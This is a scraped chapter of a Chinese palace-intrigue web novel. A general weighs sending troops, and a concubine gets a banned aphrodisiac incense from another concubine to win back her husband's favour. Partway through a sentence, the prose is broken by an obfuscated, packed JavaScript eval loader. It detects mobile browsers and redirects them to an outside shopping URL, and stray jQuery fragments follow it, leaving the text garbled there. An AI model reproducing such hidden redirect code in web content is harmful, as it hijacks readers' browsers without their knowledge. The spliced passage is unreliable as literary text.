40.重振旗鼓
作品:《军师许负》 日光从绫格槛窗穿透下来。
长案后阴影中,钟刺史的脸晦暗不明。
他不急不慢道:“小兄弟,先喝茶吧。”
郑昀义恳求道:“将军,军情紧急,请火速派兵。”
钟煜踌躇片刻道:“郑兄弟,不是吾不出兵。只是幽州现役五万兵卒,都派出去了,万一敌军来犯可如何是好。倘若只派三万兵马,也起不了什么作用。再者说,夷陵卫要进攻氐耆这消息,还有待确认。这么大的事,竟一点风声都没有,万一是敌人调虎离山之计,吾是幽州刺史,不能不考虑幽州百姓安危。”
“吾先派探子去前方查探,夷陵卫大军压境,沿途总要生火搭帐篷,不可能查不到蛛丝马迹。若是真如郑兄弟所言,吾向其他四郡借兵再前往不迟。”
郑昀义双膝跪地道:“将军,军情紧急,不能耽搁啊。氐耆都城塔拉苏城将会满目疮痍,尸横遍野。”
郑昀义苦口婆心劝说,钟煜仍不为所动。
魏别驾匆促进来道:“钟大人,廖荣忠将军的八百里加急密笺。”
当初东五郡自治时,以兖平郡太守廖荣忠为君,其他四郡称臣,皆听令于他。
钟煜打开密信,只见笔书道:“钟兄,据线人来报夷陵卫六万大军已绕过崇云山脉,抵达氐耆国边境,估计不日将有军事行动。吾已派冯彪中郎将率四万兵马与汝汇合,共同出兵东氐。东氐与吾唇齿相连,今日袖手旁观,他日必将祸水东引。”
......
***
话说这头,莫姨娘不慎跌倒小产后,伤了脊椎,在床上生生躺了一个月。
因着她有娠时搬来内院,现在本应搬回去。但她被庄姨娘欺负,丢了孩子,孙夫人怕她寻思报复再惹出事端,为了安抚她,就一直让她住在内院了。
这一日,莫姨娘坐在南炕上纳鞋底子,用顶针将麻线穿在袼褙上,再抽出麻线拽两下。
白玛带着边姆,掀门帘进来道:“姐姐怎么起来了,大夫叮嘱要好生修养,才不会烙下病根。”
莫姨娘敛神,含笑道:“已经无大碍了,这些日子有劳妹妹费心了。”
“哎呀,哪里的话,一家人这么客气。这是特意让厨房炖的猪骨汤,俗话说吃什么补什么。多吃些骨头汤,骨头也长得快些。”
莫姨娘颔首,让琴儿接过。
白玛喟然:“姐姐也是时运不济,若是给老爷生下个一男半女的,这丞相府里还有谁敢轻视姐姐。”
莫姨娘手托着下巴,恹恹道:“唉,别提了,我这躺了一个多月,也不见老爷来看我。这一年都难见他一回。”
“老爷最近政务繁忙,皇上不在,大大小小事务都要他做主,有时候忙了就睡在黄阁里。姐姐勿要错怪老爷。”
“原来是这样,我还以为他是有意避开我呢。”
白玛讪笑说怎么会呢。
莫姨娘拉着她的手,怨怼道:“那庄品、赵燕平时欺负我也就算了,还害了我的孩儿,一想到我那未出世的孩儿我就五脏俱焚,心如刀绞。我可咽不下这口气。若是不反抗,我一辈子都要在这枯院里受尽欺辱,妹妹再帮帮我。”
上回让白玛帮忙尝到了甜头,这回不用白玛开口,自动送上门儿来了。
白玛蹙眉道:“老爷不来姐姐屋里,姐姐可以主动出击,把老爷拉过来。现在姐姐住在内院,孙夫人、庄姨娘、赵姨娘都在这儿,他总要来的。”
莫姨娘郝然:“哎呀,奴家说的不是这个。”
莫姨娘进纪府三年多,纪渊都没有抬举她。为啥一去颐苑,就让她侍寝了呢。难道是颐苑风水好吗?她也察觉出当时香炉的焚香特殊,料想白玛是使了些伎俩。既然这熏香这么好使,故技重施还是可以再怀上的。
白姨娘弯起嘴角掖手喃喃:“奴家也不瞒姐姐,我确实存了些合欢香。而且这香是特制的,加了我们骨兀族特有的咕嘻草。这咕嘻草有催情、愉悦、兴奋能功效,但也有缺点,长期使用会有依赖性,所以在中原是禁用的。”
“妹妹好大胆子,这种东西可是禁药,会使人失智、产生幻觉。”
“嗯,是啊。”白玛坦然道:“可是在骨兀是很平常的药草。师巫每天都要烧。这咕嘻草可以止痛,消炎,男人们外出打猎、争战难免有些创伤。治伤病,我们族人除了请求师巫祷告之外,就是烧咕嘻草,所以家家户户都是常备着呢。”
白玛本来就是骨兀族女子,又怎能用中原女子这套礼义廉耻去要求她。虽然她外表已经完全汉化了,可是她骨子里还是流着骨兀族的血。骨兀族,男女混浴,衣不蔽体,生食恶兽为食,山涧洞中为居,医疗条件也不好,滥用咕嘻草也没什么稀奇。
“而且奴家一直没有在丞相府使用过,只是为了帮姐姐才出此下策。姐姐,奴家对你是一片真心,也如实告知了。如果您想向孙夫人告发奴家,治奴家的罪,就请便吧。”
莫姨娘一脸正经,心里可是乐开了花儿。有了这法宝还怕拿捏不住老爷吗?而且骨兀族头脑简单,还把自己的短处说出来,不是正好让她拿住把柄嘛。这样就算她也使用合欢香,白玛也不会去举报,大家都是一条船上的人。
凭此看来白玛是真心相助她的,处处为她着想,心性单纯,是个刚好可以利用的傻子。而她也正好踩着这傻子往上爬。
“妹妹一心为奴家着想,不惜舍身犯险,奴家又怎会去举劾妹妹呢。认识妹妹真是奴家三生有幸。”莫姨娘激动得热泪盈眶。
“在这深宅大院里,姐姐待我那么好,我真的很想帮姐姐。只好出此下策了。”白玛也哭了起来。
莫姨娘暗忖,这小妮子可真好骗。她伸手轻轻抹去白玛脸上泪痕,道:“妹妹,这合欢香能不能给我些,我只想要个孩子,绝对不会滥用的。而且自从上次的事后,我也不方便再去你那儿找老爷。”
上一次是她太心急,跑到颐苑去,结果被赵姨娘、庄姨娘质疑孩子的来路。这一次,她要稳扎稳打,生一个堂堂正正的纪
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17152233|188689||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
家男儿!若是没有合欢香的助力,这梦想怕是要破灭。老爷十分看重子嗣,到时候母凭子贵,看谁还敢看轻我莫青青。
白玛说好,又叮嘱:“姐姐,切勿滥用,使用多了容易产生癔症、头眩、癫狂那些的毛病。万一损伤了老爷身体,怪罪下来奴家可是担待不起。若是日后东窗事发,姐姐切勿把妹妹交待出来。否则给我一百个胆子,也不敢把香给姐姐。”
莫姨娘再三保证道:“放心吧妹妹,奴家有分寸的,不会滥用。”
又家长里短地絮叨了一阵,白姨娘才回去,让边姆将装着合欢香的木匣递给了琴儿。
莫姨娘可开心坏了。这下子可重振旗鼓,装扮起来。她打开角柜选了一套蓝采和色的锦衣绣袄穿上。
琴儿给她绾了个螺髻,又插上一支如意云头银簪,瞅了瞅铜镜道:“四娘,您这肤色好像又变回去了。”
其实不止回去了,还更黑了,配上这银簪显得庸俗不堪,跟个柴火丫鬟似的。这忍冬幽草虽然吃了会使人肤白,但是不吃的话,会变得比原来还黑。莫姨娘这吃一段停一段,导致这肤色变得黝黑黝黑的,都快赶上那煤炭了。
这让爱美的莫姨娘怎么受得了。果不奇然,她又开始吃忍冬幽草,但这草有毒已被她抛之脑后。
过了几日,纪渊终于回内院了。他正想去孙夫人那看儿子纪宇,被琴儿截住。
琴儿欠身道:“老爷,莫姨娘想请您过去坐坐。她说十分挂念老爷。”
纪渊寻思着,她也是不容易,小产之后也没去看她。想着先过去看看她,再去孙夫人那儿。
纪渊一进屋便瞅见了肌肤胜雪的莫姨娘,在如意云头银簪的映衬下显得冰清玉洁,冰肌玉骨。
纪渊赞叹道:“四姨娘,多日不见,容貌更胜从前啊。”
也不知道是合欢香的作用还是忍冬幽草的效果,或是纪渊眼睛花了,反正他看莫姨娘是越看越顺眼,怎么以前没发现后院之中还藏着一位大美人儿呢,真是暴殄天物,有眼无珠,好在如今悔之还不晚。
纪渊在莫姨娘屋一连里住了好几休。
这却惹得庄姨娘和赵姨娘不乐意了,一直在孙夫人面前碎嘴子。虽说老爷这突然转性有些奇怪,但是在莫姨娘屋里睡也不是什么错事。莫姨娘本就是他纳的妾室又不是外面什么野花野草的,就算是孙夫人也干涉不了。妇德嘛,善妒又是很重要的一条,她们也不好在老爷面前发作,只得默默隐忍怒气。
日子就这么平静地过着,纪渊在四姨娘屋里的时间越来越多。为了避人耳目,莫姨娘只在寝室焚合欢香,这种春闺之乐自然无人敢过问。他爱抬举哪房也轮不到别人插嘴,就算弟弟纪衡也管不到他后院。纪渊这个人眼里容不下沙子,谁没事去找他的不乐意,大概是活腻歪了。
其实这事儿吧,只得纪渊自己察觉。但不知是太过自信还是中毒太深,影响了脑子,他愣是没发觉。倘或他根本没想过莫青青敢算计自己。
一直到了中元节。

